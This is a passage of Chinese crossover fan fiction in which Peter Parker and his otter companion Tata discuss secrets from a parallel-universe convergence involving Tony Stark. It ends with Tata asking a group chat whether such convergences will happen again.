对所有的小动物来说都不重要。 …… ………… 纽约，皇后区。 塔塔终于回到彼得的屋子里，在单人床上摊开肚皮。 金窝银窝不如自己家的小狗窝。 塔塔舒服的撑长了身体。 洗完澡回来的彼得默默看着这只小家伙在自己的被子里钻来钻去，一会就没了踪迹，于是悄悄掀起被子的一角。 毫无意外。 小家伙正在里面探头探脑，试图抓个机会伏击他。 大概是跟锈斑猫在一起生活久了吧。 水獭本来就是群居物种，拥有良好的学习能力，被锈斑猫奶了一段时间后整只水獭都猫里猫气起来。 “斯塔克先生那边一切都好吗？” 彼得不知道交汇世界的具体情况，只是感觉斯塔克的状态不太对劲，可有些事情哪怕是出于善意的目的，也不好大大咧咧的直接去问本人，彼得只能试着在塔塔这边问一句，看能不能打探到一些消息。 塔塔是不会隐瞒彼得任何事情的，它将那边发生的一切都告诉了彼得。 小东西还知道这些事情不适合讨论，专门爬到彼得肩膀上，超级小声叽叽咕咕的说了半天才将事情说完。 彼得只觉得这瞬间自己的大脑有点儿信息过载。 什么老蝙蝠侠，什么超人巴基，什么斯塔克夫妇……原来如此。 彼得轻轻呼出一口气。 “这就是秘密了，除非斯塔克先生自己愿意说，否则，我们绝不能告诉任何人。” 塔塔明白这个道理，对着彼得点点脑袋。 “嘤~”我只跟彼得说哦~ 之后彼得将塔塔放回被窝，开始擦干头发，并收拾一会要用的东西，现在的彼得在超级英雄之外还有其他目标，帕克工业。 他想再多做一些自己感兴趣的事情，就像做超级英雄那样。 塔塔趴在彼得的枕头上，昂头看着自己的孵化者。 刚才一瞬，它能感觉到少许关于“羡慕”的情绪。 彼得也会想要再见一次自己的父母么？ 这样想着，塔塔去之前馍馍和薇薇建设的群聊中敲了一下：“交汇，还会再发生吗？不是之前那个平行宇宙，而是在其他平行宇宙和我们之间？” 很快，奇迹的回复出现了。 “会的。”【你现在阅读的是魔蝎小说 moxiexs】